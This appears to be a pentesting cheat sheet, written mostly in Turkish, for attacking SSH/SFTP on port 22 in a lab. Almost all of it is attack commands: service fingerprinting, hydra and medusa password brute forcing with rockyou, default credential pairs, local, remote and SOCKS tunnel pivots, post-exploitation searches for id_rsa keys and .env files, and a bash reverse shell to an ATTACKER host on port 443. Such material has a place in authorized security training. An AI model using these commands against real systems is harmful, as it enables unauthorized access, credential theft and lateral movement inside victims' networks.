Skip to content

22 - Pentesting SSH/SFTP

SSH shell

SSH banner/algo, zayıf parola ve key ile kabuk; local/remote forward pivot. Hedef lab IP’si üzerinde komutları 22 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 22 fingerprint.

  2. Auth methods.

  3. Brute/key.

  4. Tunnel.

Terminal window
nmap -Pn -sV -p22 TARGET
Terminal window
nmap -Pn -p22 --script ssh-auth-methods,ssh-hostkey TARGET
Terminal window
ssh -v TARGET
Terminal window
ssh-audit TARGET
Terminal window
hydra -L users.txt -P pass.txt ssh://TARGET -t 4
Terminal window
nxc ssh TARGET -u users.txt -p pass.txt
Terminal window
ssh -i id_rsa user@TARGET
Terminal window
ssh -L 8080:127.0.0.1:80 user@TARGET
Terminal window
ssh -D 9050 user@TARGET
Terminal window
ssh -R 0.0.0.0:2222:127.0.0.1:22 user@TARGET

SSH/SFTP için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p22 TARGET
Terminal window
nmap -Pn -p22 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:22' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',22));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → SSH/SFTP
Terminal window
hydra -L users.txt -P rockyou.txt -s 22 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 22
Terminal window
nmap -p22 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit SSH
Terminal window
msfconsole -q -x 'search SSH; exit'
Terminal window
nuclei -u https://TARGET:22 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:22 -tags tech -silent || true
Terminal window
nc -nv TARGET 22
Terminal window
printf '
' | timeout 3 nc -nv TARGET 22
Terminal window
curl -vk --http1.0 http://TARGET:22/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
enum → creds/key → shell → tunnels